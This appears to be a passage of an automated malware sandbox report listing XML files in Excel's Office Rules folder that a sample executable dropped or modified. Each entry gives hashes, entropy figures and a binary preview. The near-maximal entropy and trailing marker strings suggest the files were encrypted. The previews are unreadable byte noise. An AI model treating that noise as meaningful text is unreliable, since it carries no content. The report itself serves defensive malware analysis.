File Type:	data
Category:	dropped
Size (bytes):	1082
Entropy (8bit):	7.818711208198124
Encrypted:	false
SSDEEP:	24:v5UXIKdDNhflFVUyzZJ9H8pXh2AFhkNKKpAnJF7G8VbD:mYKBfdFPr9Oh24kNfuJpG8FD
MD5:	9C49F0A50AD1B4B543BE0F2951BEDE52
SHA1:	2CADD08F8A106BC01A498DE09FF636DD84564A85
SHA-256:	8E69519870ABBF73A76C5CEE352B1C4BEA472D9C0A1808ADC12598AA2E68812C
SHA-512:	9AB8E1D739E8549A7EDA36B05481A00824C3B1385740712543DEF4E63756E46D1DEA34AAE8D4A477F2A79D172A846EA7727C057B84A7CFBC3263C0F1904535BC
Malicious:	false
Preview:	<?xml..,14m.b?.V..:.............'~M..d..R.qQ.C.q..&F.D.z...\|k....:.Y...V..../...&Oi....\J\;.'...........@..p........E.%=?...^..g../.....s,.Q._z9.A.NBm...70.k.P.^...m...\|.O..F..R.1.t...."..X..\|.CZ.1%.~;z.....v..6..O..=...\e..g.K.N....tk..+$.s....U.\..VKbK..0.R..W...-=u.......VNm....d.pa$T.....}....j..@=....fb.....z.B..O......._3#...W.${.......\...o......@..C....,.m......!...F?.,.6.I../r`......wD.rpg..s.px.[V#..&>s..-G.W.#....1..j.!.#$`...h..[5..2..8E.U.iS.UI?.[old.Eu..=..z.=.........X.)%...7z.St..T..$.k....]..X..h...;....\...9.^......<..\<L...T.;.3.#.....n/7....<.c.Z........'1...0J4.f.$....kh]..;...a...\|.6I.....s.M... %5.Zi.z....9'._#._4l`.j}..S.H2mq.....i..R......Z.D4..=..)@....@..+f?.....a.W.!g....x-{...+x&M\|.=..6u.>.d......Q...W..FL..<V.9J..X.J...`b./.j...V..m.T...m.b..;......b.......)..:=iJT}R..z.0...a......3S^U..v.c.b.\|.x....w.X.....B..:\|=ZY..OL(.....P.........pY...a.!.7.2....../...45Jy..0"......6w....Vw....<6..W.UU(..#`(-.I..?..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510062v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1061
Entropy (8bit):	7.8129683789186375
Encrypted:	false
SSDEEP:	24:IGYp9vccTpGxyzicaHmdW0LLLnuXEbZPDx+dWBQcVbD:zYp9vc6kBfHmdWySEbZEdWjFD
MD5:	A92327B739B2C7386678673EBF2F8DFB
SHA1:	3A1CA7116B33B895C2A45BA74785C272FDD409CF
SHA-256:	9F5E7715CCA9638D4DA10763D5B00A9EE2F12966E68710B4CC21A6F173B583C4
SHA-512:	F97471FCF031651F49692A9BD4D7291C8BC8E875D57B134690CAE903E8F29E439B7E93B59B65EC36EB19414CB9A9C7DF9DE46B8D08FCEEBE676E755EBBEB592D
Malicious:	false
Preview:	<?xmltZx....l....J....2.A......1,.?... VvS..........1p.i.!.....^.d}.~j..@.y.p.. RO,c.4Nqx.9p\|q.._Z.\......4.p..x.-..5yL.4..S1a..9oB..y.M..2{..vi\|.....`.^....d.V8.n.......j"K.N....I:..(D.x1.p..X....._.B)..R....l ..p81WJ......%DR...d.6.0f..G.oC~J8.u[...=s.\|V.n.".`...ER..8...!{6.......;.a.......jCS]..f}....ja.3.k.8...WN'.Z..4.3_.XN"..H..9.^...k..vo.l...>4.....HJ...#y..x...:.C<.....~KYa.4.e...b...r....P.A...2.. .z....W..US..Q...A..f.....{ ..P.Ry.S..d.....&.NA..x^S7.n..h..>m.."{o4.$.......}...=X.eo.....h...n8\|#.d!.:....J......Q.F*..81...... 7..5G._m9h...t.rZ<+-U....n..T..(z...I..4'm.Q.SI...Z..3.=...z~.0%.m!a.+..x.m.....:Q....p.....c...M.....0.mL..\...D/...,....xG#fTW....].Y.].4.....h....;p..G.....5"a.....7........sM...g..k.6gD...,"..4......8.....I.]....!..".T..{.C....u.=..,XU.E.6....5cv.bz.......D#...X.&...G$...(..Qvy.=..e..-...3..D.JF......;dc.;DY.>...t.R....9.....[x3B...z..Q..%.?...1.....1D%n.........tA.IV..z.e.X..)....itkm7MOsOlVQkbEQh

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510063v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.718393651811441
Encrypted:	false
SSDEEP:	24:u19tx5x6GV8km3KVAJhoTwOPyOGA4p0VbD:u19tLx6Bkm3KSJh4wOqOop0FD
MD5:	BB0E3C18348E4EA30AD6E2EEF1107C9C
SHA1:	47B0986D84322E9AF387F20803600EF65E64F8E0
SHA-256:	409659EAD565192237DFA4B3C63C65F1D4091D1FABFBFF9F3F5636E351AB55B7
SHA-512:	C0106311E8BC2F46131AF36B3BD0340F64E99699D5FF34DE1F102C65881EB89CBACB30C4B2FA13C457F0B543BB1A9569D86D50A4CC92549BE762B4006B4F6E34
Malicious:	false
Preview:	<?xml.h..t~.p.K...`..`.mlxd.[.>#..&.VW..0H4..mIK.......i...t\|.Fm.X.UC.UPT..w..R0...n.\|,.<..-...xL.M2....pK.J..1.......e..E....h.8.5b1.~.M.\|}....c.^.K.Xp..L.p.oA....i.{.......W......9.......v.a.<...%.9.j3d..~..4....^(.....:.q..P..........t.9GF.w3...tX.m.{b~..B.%1.:.....@u..7}...I...V./.....G.J.K/n..y.8.....e.d.c.W\BW........(......k.C.j..3m....j...L.n...\|.E. K..xx.n.G+.l/.....'M.m.....Zd...M...$P.M>..3.1.^....x.i...G.@.....$........6.<L.!$..f.Y..b....X...NU.9.M.M.t..m.g..$.....U......&jHU..P6..%.8...YZm.3.H-...F.0.....D.../w......0+....TO((.u{.%\.'G!.0.P.3%...2.......q.D.\t..(..MH2~...<9.}...=j..Xm_c4.....FD...Y.8.[..Z._`...M@.....n.1.hxH....`J..1.BH...h."E..Sw.....]Xh..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63028v4.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1485
Entropy (8bit):	7.8763649226339805
Encrypted:	false
SSDEEP:	24:IeCgPVXraBW9q3g0PxyG4a+n3N3OV4UcfMNX+P3aRbY8auGxSCdi4BnMLVbD:Nta3glGZwSeM0PsRPCs4BnGFD
MD5:	E58610EF02B93FA4540C9403C3EEBCB6
SHA1:	C949AFCC6F086804ED9043F3D9DA98479BD4ECB2
SHA-256:	91952A1ED6DCF26C86516630FB473EFDC5EB1333A0100D500E912C0A69BABC57
SHA-512:	942E02CCF542606FA5560F4ED547D0227A2E6EFECF559D32401CC91144B7FC408CB02E518EBC5002B128B151012D309DD42C66E2E9E9C45CBDD8C334E7FDA81D
Malicious:	false
Preview:	<?xmlB1.\=....G.,..S....jB..l..8.....]^...L....\|O...<...e.@...x./...[..A.........#..M....._.+RJ.D.9a>...g............u..\|3.B..........o..=.6g.....ZV.#.\.KQ..Z.m..0RV$.^..+..u...M.rT.H....}F`Tz.XX>V...o.u.kk.4.,...7wz`..8)z....a]? ...,....4..^./....v...<.k[<.....T.b.j.m...fL.e..j...x..~.%s..{.3T.b0......1.V\..j...5...J#D..`....g.............S..T.x...jEs...O..x.q.....r.7.K..3\.<.i..S)....K.......Ep..73.9.>...aG..~,..\|$.6.,.d.NNi.x..e.[..........r...%.....a.f.^...{g..z......lm."iAX.......@..@Vm..vQ ..]%..+<{H..{..{5.+.!..V..........2..O.8vb..@9x.X.t..M}f..2!/.M..,=.!..Gd......-.V....O.s..i.."_....-.-.g...o.I..hv..A:?.}.O./...8 F...'..j.uv.......c....).@......o)....l...mi..ia.......Q?....s...A.!p{W....K}..!.....J2.5@v&.....+.c...~.SDn.. .{E....:+..?E...'....>78....y....[.wls....&.=,.8.i.....m.k!;01...l.X...u...'..X....U...(.b..h.79.K.-...v.qw...y......!.{.Z..P..@..3.2..c.kTSo.X.=.0...=*`E.i".~R?..-...6..y...;.z.Pa;

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63030v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.844249809164014
Encrypted:	false
SSDEEP:	24:ABS5XlWpFZhwLQ958XJniMRoUJ3dNrsSZzQp+cJLNdHnqwJeVbD:A8gPhwJoUJXNZzQEwfqFD
MD5:	540AF07497A673D9C9F3426A32473A12
SHA1:	A2F4E7D2FADBDD5E58D61A2FF99AD7E710D665BA
SHA-256:	7171C718683DB83B29C5FF7C7EE78D625C91071D2C70C365392FEDF05E337630
SHA-512:	D1E8CA2D43E4351700DACD2C63F6797456A2D1998556DE4E0EAC55C69000ED30FD7135929C9B9DBD6400A30FD037D184C2C20C289D86F62A67CBDF6A9211C191
Malicious:	false
Preview:	<?xml}..&....\|..Bw..jW..@.8.d.....[...$]..d.o..Z...=@bM.....g...?..N...u..<p.e..X...W.,.k\.\'.v.J..<.6...!.t.!Ev...3}..H%......te.!.R.D.."...5...{........K_.,..M.!d.l....0Y....C.Y...#SE'i.....1....8...V.%.D..EA.>g........x.9.^.\...:.)r.+)B.C...L.,F...w.gcB/&...e.....A.@.^;...X.....[.f.+/.g.........].Q...=j.....t.=.?.g.j....An..8.6.).j........%0}F>..k"Q..w.c:t.......Ws....oe..Q.)l.....$....FU.nv=....R$.bI#.;...Q...7\|.=.A.^...H........%.'9"..!.KK4.!.A;...K~5?g.<.!.2A..d....".9.w.R..J.......G......X...AL..q.4...o....X...s....`.+.....m../f..R.8...qu/.F..oy]....Q>:.....,o.3@.O.....DwR...O.{..zx..'.q.G1...Z;>..@8,?.R]{...\>.g;..}J....b..3.O..q..Z(u.......c].l.2cW..jx....C.1..@....K.KW.<..0.....x..LB(.:....s.S..-..$...)...4..F.b.z.....\|..5....K..A....0'.8........N.--ryX..z....i...8<.....Z.$....-..2..\..2Y."."7..9...y.0....p.z1.#.c.p..\|.=..dpj.".t..'.IU.......s..NW...R....\.ns..J.&..~.......^.U.Ff].....Ec.jL&..c.1Q.h.j3..r.9ZIQ_.&u.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63038v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1261
Entropy (8bit):	7.842957715883642
Encrypted:	false
SSDEEP:	24:3eaABgyxAWKL/M4nMJYq+VtDcb5g54JQepX8LXlx4agZmQMVbD:36BRAWKbtSVb5gSJQepsjlx5FD
MD5:	5D6DD20221F30761416D062D0AC49988
SHA1:	15C0D09A5798A6BBD0B8BC877BE26C7EA9202679
SHA-256:	F65CB6B925AB49B20A34EB66D8593B6EA719AB443C1632347F931B2E83E9BAAC
SHA-512:	248E6331758EED2CFD61D3956C86A02E11BDEE0901B7EA176DBB76E652CD2C31BDACF36835317A4BE66A29BF996AA8F66B20AEE1D74EC13F9F309433E60C448A
Malicious:	false
Preview:	<?xml.yf=...K.q...`..B>.w.\|.....m....9)........o...j..Nt....`......Wa.+...B.v.....<j.?......:(.j..Y.o.....y.. a..N.)1..`>...3;YHK..m..6....-...G.."/,.A>.....P....dqR..V.-..BG.....1...i].....)..W....Z>C_.b8..].l%x..y:$.....cZ.C...F.....W..X......b........2...x+...-..-$sb.X.;...B{."T...hT'8FNJ\..7..m...~.?.V.....l....;.%..,S.. .... .<D.p...~..u..k......C./...R...`Q..O..7l9.sX.g>...+...m\..<..5..%..H.h.GX.O...x......c...v]....h......Y.\|-.SY.v.+..6g'u.....G....C..0....S....)..M~...rv..5..M\|....P...........H...t..KH.^V...l.r=E0..j.)..qX...b...k..P....y.H.'.ZO.;.V.(..%.w.9.dU{....Z..Y..6N.P.!Uj..9..A..;.F.....&!.....M...w`.........(......?.+I.~.......,]a._.!R.5cp]p3.U...aS.N....K........v.r.Z4......~Yg..?.._/..b-r..g+d.~..r..>I.;.\|..\.p3..t).C...n...l...zr......N...}5o?j..l...g~.......o...wCK.d.Xm..Zv...)..K7.fp.>n...^~.b..o...7B.....J..d.e.uR..(>.?f....[.w0.......TD:6._3v.~..0.w.v).O.6.Rg.]..]j/..s..:."w[...z.&...!..{<.....O.S.Hz.E.[K.J..4a

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63040v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1268
Entropy (8bit):	7.847878243540839
Encrypted:	false
SSDEEP:	24:sMMGvZKntHbBw9zgSOxXvqs1XKVn3hh2cOoTQ2dYmEDlxY5yvFMBB+VbD:sMMQZ4bOFgDxys1X6r2Hot/EDh2BB+FD
MD5:	060D212CA504EC8637A0699D70656FAB
SHA1:	805218D37672D8E2DF2D2D7311564ED919660FD5
SHA-256:	FA7FF5D1C38F65021BF89A6C0044D936CEB3EC26C4C0C126E79FEBBA007F1B2C
SHA-512:	8E03B26473D8E3A41AAE81E09394E034D5796106320B11533CD6E77CA01CBA02C97CFBA18D0118A04929F2D2AAC55B876BD906E5BE4CB949D0D25ED9D24F50C4
Malicious:	false
Preview:	<?xml..asw.......G>.....34:.At}.PD..1....m...N...7....6L..C....t..^.GG..P8T..u...-7_>....4.A.^.B?..g.m.TIOe.qf..i.$......KA......d.. .Bx.Y.......44.........qm.....".F.).Dr..z).....+.%........._.U.C..x.u...xQ.@..3s.........O.^.\+......#)4..&...W.aY.y..S.L.%..[.......................1.....Z.x..h.U<J..At.xY.u.=E.>^.S.\|.L...z^..n\.y.P....X1 N.....:S.,..&6.,^Gt......pNC.........A.P).w..u.(~".YH.&.n'.c.Z-....b..>`.GG.z\|...,..~z......?6......nB%........G.z`..k&..L7..f....P\.fK...Z..>.D..;.....S.9...f.f.Q.Dd...g\T.T...%t.......B9...;..\| B.i&..t.T..ox\|...W!.sT....T..".........x....5@....<~52..~@........`..U..ry...RR.ob.Z[..8.>X.....>f...%+.......YK..H..7.....5.....a.AXS.%......'I,.E.%.~..~.9X...e.....Y.#:.. w....d.I..P.)...vq...K..).'..i.....s.9...........O.4......./......?..?. T.&...-O#C.....E..._m.&.....N..,...y......6.z....{..*03.`..5...-.>..Y........P..).x.....H8i.C(X.; t.+.....O..c..E...v.......lCj=...:. ...Z....8.....{.._.WI.Nq.4.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63041v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1815
Entropy (8bit):	7.899374222966571
Encrypted:	false
SSDEEP:	48:gXKa6bRDW5ggsZK/kZmEAy1GbTjGVnHvIfUx1sFD:6KasDWnmK/LQOvGVHQM49
MD5:	F43460FC31CCED9B6A3A6B81A3D4E004
SHA1:	40611735A73B9A26ECA48037CB0BCE7F7E66E54C
SHA-256:	67B8559782110F34FD5A488AB5D13743546DDB100A51F8B92F0FF13C75FE2D97
SHA-512:	B99A4C4D5DCEBDA2FCB0D3084E4A8994B85114AFBCB5405D98856F74C436A5C1CCA3E53DF569283907A549F39548AA66B55DC4DC33E96291C3011D1DB65FBB86
Malicious:	false
Preview:	<?xml.Ax.l..\......".O..........mY.@'.\.6.....^..k.3q...W......K.A@!,..(..#?.b(F..1Sm.H.r...k...A...3..{".v ....j.....x.=C.....cf.....f.e......I.x.$.1(u.t..'..cI3.....5....x.k..EQ.4.\M>9.I..o`-o....:....}..h.....%....9..^!T.g( .k.Vc.y)J.....F($As/..+...k.pd..)B...Gf[.T..J..N).W.<..6.......B....i....mvu..E..i......b.E.[.5.G.....,f..;U..<...O....,....LgC.l...F......8..a.{i.l'J,...;e...-.F..9.6E.bCzJ..n....O.-............y\...q.u.,..J#...K........(..;.......7.+........_t@s._.'1[.p.tqL.\.!..........Z^..-...v....,.k..l....'_..n=:1V.Jx.X.W.S.#."...1...q...6..i/......z...z~.\|..U.....hB.d...\|.BR..W(...i..........]5.%.N...........US>.}P[..P....H)jG.1o.U....Ec.....~.l.#(....7Dc...^..Z.@.uU.....X.86.._....e...E.>+..,..i....S..E..>..2(......<...2..(.........3.OBx.@7S{...\|]..v.l[.7.E{6C.wc..(..y..d....y\.(m%).da.[....S....(/k...)Dn.....3.c_.....W.X. ..HF%3..Df.../Bm..`:.....m........A...3.5.j.;kb....z..rW.=?.].hs}..l93..SX.Ec..a.8...>a.....G.81?c&..Q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63042v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.8142444233242445
Encrypted:	false
SSDEEP:	24:4RH3yGaFbVIo67dEvBtgwc1UySJa7wAEfIOBlmDgiETS5GKVbD:4YGaFbGVO5ZySJa7wAmLlmDgQsKFD
MD5:	1FC2F4AE7DB155EBD47DD1BDC09DB85A
SHA1:	646179145ECDF93E39444AEBAEB4CDD01D6B9E53
SHA-256:	ECB9E86EB93EFDA32881C701C27D205E57CF01F4ECC3C5FC44857E25D41F79B9
SHA-512:	9CEEACE09604B37F15CC17D128E8D2741F456C766E1AE31781023D4297F3E3B2BAABFEF065E87A1CCABB409B5520EAC5E856CCEAD8B1B9DFC51B45D266319586
Malicious:	false
Preview:	<?xml....1......VHy.......<...jd.6E.._j\|y...0.jXoA.9..!..E@mX................y../.:......@(e.+C...]l.TH..Ln..$7.\X.E.t-"7.%..zno......[......v..........._`....o........}.....".7K$.g.V.A.....&=...P3'.1..TLM.{..#.............'...4.@ou..H..0..Fce..\....+L.......s.k.'_.t./...,-..[.P.v.H...a.S.E......y.......Je.5.o~{.....b......i9.&`Q...GW.._4&...T8G..l\n...zwT..K....l.W0U..../.:...k.s.f........g...ma...@.......o...Q.......t...SD;%y..[..7J....n...]..y..rflg.....+;.........(.r...EA.g..W.h..S".jv..z..O.G.`.t ....H..%.g...O.J..u^iFh.x"..8>......].;..(.pQ...I...y>..b?..G.S..L......7IrL...M..b.hr..-...r.y.D....pg..v.o.......[....N\..5.QG@.K....A...)...$w.T.#9F.Jl..?".%..4.%.R...;M.....-..I.IP....p.X(.~....c......?.....F..V.w.2.h...0hs..C....W..\|..vxH.,.m........q..Si.v.g..<;.T......n?V.\|.....;....!e7..O./.0..[...`5.3......Ts............X.T?u.h:_..7d.5 ..8..Z.8.a]....M......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63046v10.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1950
Entropy (8bit):	7.892355721366664
Encrypted:	false
SSDEEP:	48:QQQBBezLb5wbQCQcBWYy+UjsFFnPMHNK9iFD:dL5wci5UjsFFUtJ9
MD5:	5598340DE969663FEAEC1F5D84D375A0
SHA1:	36A5FC43C5571532D78B0F81251C9C8B97F57686
SHA-256:	6D4E7A52CC70F6495B52A364C78920CBA3AC40989738C72A5E185770A7403C9F
SHA-512:	38A96BE43479F28AD696E14A633CD63E72F774B37DFED9BF5595A8AECB54F4B88E4585F8ABF56706ED2F341DCB304828CE66B761438B2F0891CD3E6D41F4CB56
Malicious:	false
Preview:	<?xml...d.C.8..I....duu..p&..1.A......h...Emt.......d:...K)!..m..t.1.%../~J.}p.!.Lg.,........a.}+D.P....\.f..z..1........H......FE=;._......4A.X...s....b. ...d.....Y.j.TL.. ....1Y...$.BFj.J.E. ."p..._...)2..#...4..q..j.k....5.sBd..QL.I.B.E...C.....y....]v..P.d.?yw=BY...Is.7uiuk.T...i~Gn._.?....a.m..,;.._..C.D..&"4..G...-..(;..44.D...P1..5.....t.{y....`.b....~.k..:...p...W.}1.o:.!....J.vd...Yd.m<.6..bJ..!.i...F.k.Y$...M.Bi]@N.P......B.{S.).S.:.Q.ct......&.<..`.!...&.....%..G.]\T.Vw...(..8.G.Z...[0..V.'..p....S.B.Y.cD.s...s...7.6...y..Pt..^..]..CA..+....B.."..fWo.Q........(G])".J.0....<#.yL.-t.v..UE..8.1.......8.bl5.../..q.j.k...dp..L/...O..(..].{...~...t.@7\)lr.......?.].+....?.~..$...?....)GE.......j..4ND.G...b.2.K.Hr...../._58.._P`..q.7...w.;.d..b......#........*...(...0.Xd.~.d..f~.rA.....Y]..3Gv..=,.N:.u..I....r.p..[..b}..9.F...Z.< z...1%HZ\|.....G.R..>.%..ou.tG ....2-..:\|6'..G.....!.%.c3..w}G{..%v...D{G..vYV.[.m..~ZI.5..F.{...\|v+..iX...Yo..px

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63048v6.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.950044776433836
Encrypted:	false
SSDEEP:	96:0VwWg9YVybL4qqSwCnCcNyUvCPLovAl2C39:3tfb49rDPT
MD5:	4EF8C088F78966B219DAF8CB1D8C848A
SHA1:	F4BE6D5EDF606C2C7418EFA9063944B8F78BA96A
SHA-256:	FA03AE6CCEA1115BC3B01DDDFA2F80BFA46E9AAAD2CE05C3B577AE7DF7028EE5
SHA-512:	5DEB70F68C15E90E2313E4D976523D6F93D342879206CB071FA62B0B1B2A2B416662BFC10B3BEE3ADEA2454B3B042C3DEEDCAFE37A5F0BDBE5289AAB92F7ED38
Malicious:	false
Preview:	<?xml..M.....Th.S.[o5l6-...K......v\.]..6....p...(...w....r}]...UE.c.X....}@Sjw..../."..{...+....]..Bz.m....Z.h..~/..gM...Q."Rp.9...K%.$B..;/g`y......O.j......Q..ZR&.cI.5u....8...$...p.Zw9!..3...\., ..nz.3#P.K.{...\|...iOH.Z.n.f..n..W... ....r".W.....C.......a.I..3......m....{.x.4HY.P.X.].../.......y..l...#w....cut...&.....'h....\.\|a..T}@..E..x........1.H...mK...6...c..^....[.=.....L.wY.$I......m..7...6..R.......?..\@L..+4P.v...@.g..0.X..N:f.1<....d#.\|...#hn..[...I.~i...NP.9.R.$.p......W........,........}g<.m.o_X/....g....;g.L.[..rS........e.A.:.....%...ZS....E.lR..nZ....Y9)..8.HB.O.u.6KoC....!..6....<...qlXh....\..w.....Tu...UW.]?.`..>..7.t".d.42h@#..J......F."7]H..U"d...e....<.U.U.."S.!.%8......./.p+{U.l5..k....#K........3g..y..N.Q.Q.7n...oeV...I]:....%.o..B.m.H..4.......;.Z..z..&.b...\)....U....1.@{.^...\|d..#.Xn../.%.k..@...%...`...7...QN@..{....]..&..Gg.6...~.t.H.M.W....o.q..i.1..?...R........@O.Om.5G?o_..".I.!4. .....<_...E....-....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63049v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1585
Entropy (8bit):	7.872477231072764
Encrypted:	false
SSDEEP:	48:BHx2Pt5DA2FH51Uk0D9Mjl+dLs3Z5SVsWjd8tHlrruFD:0HetejlWw5SVMtFrru9
MD5:	AD8EAA94969FEC7427A0030CE19B5F7D
SHA1:	5F003816F895D8B94A9C53AB4D6B83E67ED1C2BB
SHA-256:	987E53666A00E8C86E401FE05DFD1607D50AE3C7B5882A9D7636A0500F4DCF06
SHA-512:	45B0483C8F71E967B2296EE8339D52CB2714DA56C076042B52C2A9E331C98180A4E9995071BFC33FB6F89FB81A86BD1AFC1EFE673D6DAF21E10DD8A35FDEB1AA
Malicious:	false
Preview:	<?xml..9T.u.....DZ........Q?&..h....g~.k..~.~......%9G..cX.sR.)G...u.....?..5. +.t..%q.HW.0....R...%.hW..c.....k7.... \...2....T%g ....xM5...U.;t.......!..A..+..+..CS.b^..s.b...O}.xn..EoK6...O.<.U}....c.%..My.4.x7....,.q..?...K...s"..."\l!...?.S.....w$6}t[.V....P..P..!q0Z$......p....$...w...#..bJ.u.$......n........G....f.......%.A./&-K..4c....m.R.f..}."iXV.F...'........16.2g6.&.X...-m.G.pdXs~.W.k..U.]......)v.HG.N..X.M..I..u...!..6.!9.Nx..X8.........q...y...w.?.....k/...o.i...WK...4m..\.....5.,..2.)Y..!X.....su..1......6...v.T.v....$...D..)..a.....\|.bhg...(8...i.ws..!_K.j.n.B.....$......Q.C.l.....F.d..(..6.....v....j.frsTRS..=n&&.f..../.l7[N./..L.w...8.......x...z....^.>@..>........pK....Q..s......o=......b..$.Y..m....D..,Z.1!C"G.5......@.....94.'&..so.6.$.`6.iS..O...~7....D;..zo.vc.......Tr.+^-...H..&...i[... ...5.,6.(...5.Zb.........~k.G$...,..C.=U...o.V..=.Ld.>8..x.x,..,...}`..x.4...P..e.$.^zf....0.....].p..?:r.x.8..ri.n3..C....@....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63051v5.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1939
Entropy (8bit):	7.90657159711912
Encrypted:	false
SSDEEP:	24:53G9btCkzjPL1Of2vOj1hiMJ0xm5zp58fWCdQ7G9Z19oJejDiv7rJs8M2RpEVbD:U9btCvff0mP8pS7619ceav7FDM2PEFD
MD5:	9AEE4AE40CC599B764201DDBAEC1BF7D
SHA1:	16854966C7B7BFB146BEA0EEFD1B98C6F9CDA093
SHA-256:	EEE9EE64220C02292AF6137FFB9E00654477DBB74914463551DBFAD949C5EA9F
SHA-512:	09D72AE87B91F1856708E1F0E1E2E418AF90790396458A594383AFB8740A68F7CFBC2821E3795C2AA8E9F5D941AA5C71E22B61D057064D4E6B1DAD5D2B3969BE
Malicious:	false
Preview:	<?xml1R....R........H.J.P%..P......Xv.w...._..X.....QY.\|y..3......E&.."D.v..F.Nq.}....8..L.b...?P\.....X.:..\|.O.cOt.6f..&G%.@...e.l.N.G`{h\|t.R...>+.j...j@..<0e...O...E.^..?.j`.97...(..u..~.]........&..@....9G.0.[...{S.'.,).}.G....\| ..BL{( H%.[Z....4.N-...4.K..Af.q.B.U."..9YC&.[..X....f...~.7s.D..\|Z....;~....r.Y....d.&......O...MG..:.. ?.]...=....nN.1!.r... B..j..._.7&`.E8.\.L.V`(.lQ(.>.l:.<.s..B4.....~...J..H..@.......B,1.4\=.;8."..^.m..@51.Q..}+Sg...sm.lA....J.U\|.j.../c.s...;..d.J.6.]{.vAU.k.I1)x"..7wr..{......d"..r..B ....p{.0s......N...B.^...p..bE....L..;....^_..(>..^.$DEMKC....z......'N.:..~...s.8..XLZ...9..;.../.'5.......8,_b03...bR$..YM.^.#k.Pc...I..vX.+.:.lB...K4.9..j\|U.n>....z...~.UPt....E.N.2.}..x.>l.F........5.D..\.If....6....."...p......k.C...Q..<.....mH..u.....S.7WVn.m...6...w....\;f.~.ef\|FL.."....x..c......^gI.!......:.....N..d...%U./.8.B.).1.....-....."R..H....QV..s.*..0@..T..........Y..S.+...@.N..J..h..fm..j....G.y.,:3..03Gw..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63052v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3091
Entropy (8bit):	7.945983232569263
Encrypted:	false
SSDEEP:	48:HZrE+G0Fjhg0h+2x89qTQiCeW0w/Sy6BUmZ4bv1cRFxKMFSDLS+MGNV7AXcPgmdJ:HB9xh+c89q8iDwayoVfRhP+M8tvp9
MD5:	11AC80C30FEABBAB01C3A6B3073BF0AB
SHA1:	C60FBE0D05846DB561932C5D833F8EFA71474971
SHA-256:	CE3321C3324EEE9D19614BC06E2078116CA48E9878D1F76F49F06D384C9C09C6
SHA-512:	5397AE845CB3BAB02F28F0FD83409DDDD69015A81EC81FC238ABA7FD094EC58FDE246259E9968BCAC30BA62F757994DDCB3384AFCB9C39152D6D709B16C7C78E
Malicious:	false
Preview:	<?xml..^S.G.2...Y..p..R.-...=R.)6.5u.QL}...............Mk...fX5l....\...........m.K..rs.F4.....-.R....71!.>.:.."......).Q..F..M/.]...vg\|<.9.<....HS.....D.p.X ".a..9Mp.].DY:..m..Y..^.....o.Y.>..._Q.l..-.>....V\|.y.l<.}..c~. .9._hgq..t..+.eO. ........h..Z]!nG).e.$.......K..~uRY.......qv..Z,.i......>p.....@....n.2.DA.t.`.."...Z\-?.n..U.......i..)#Rs.l..L~Q..D..}.N..i...b.5....N....m)..a...T.....tvi.<K.._.C.g..&M2...,y;K...i.8.).....YK.....$.A.m..Y?........NG.GV..../..rw)....LJpB3Pz....+.61..5..8.9....K......#Lp...E..".G.T.DY.[..w....\......./.t.z-1\....m.G..'.ac.........+.......2Cs.Z.7e9r.2.%.`.x.i..pcg..{.6~.....M.}...@..4...x.%y...Y.p.....c.S.C=R....dV(y.>.o."..1..Th.>....3.T.bX.w;....CX..... .~..".".Ls.Al%M..../..`..3'..c....`}........]+..Vm.I..e.j.8.4t.C......6.X..U._.$W..F....\|......nH?.=..0.a.l...d......G..t.f,f......_...1}..Q...L.E.\N...js...T...9C1z.B..bM...,..>yW.BR.Z=.v..5...h..."....,Jn.*....[..].t.A.Y.~...3....y]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63053v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.8154536004407555
Encrypted:	false
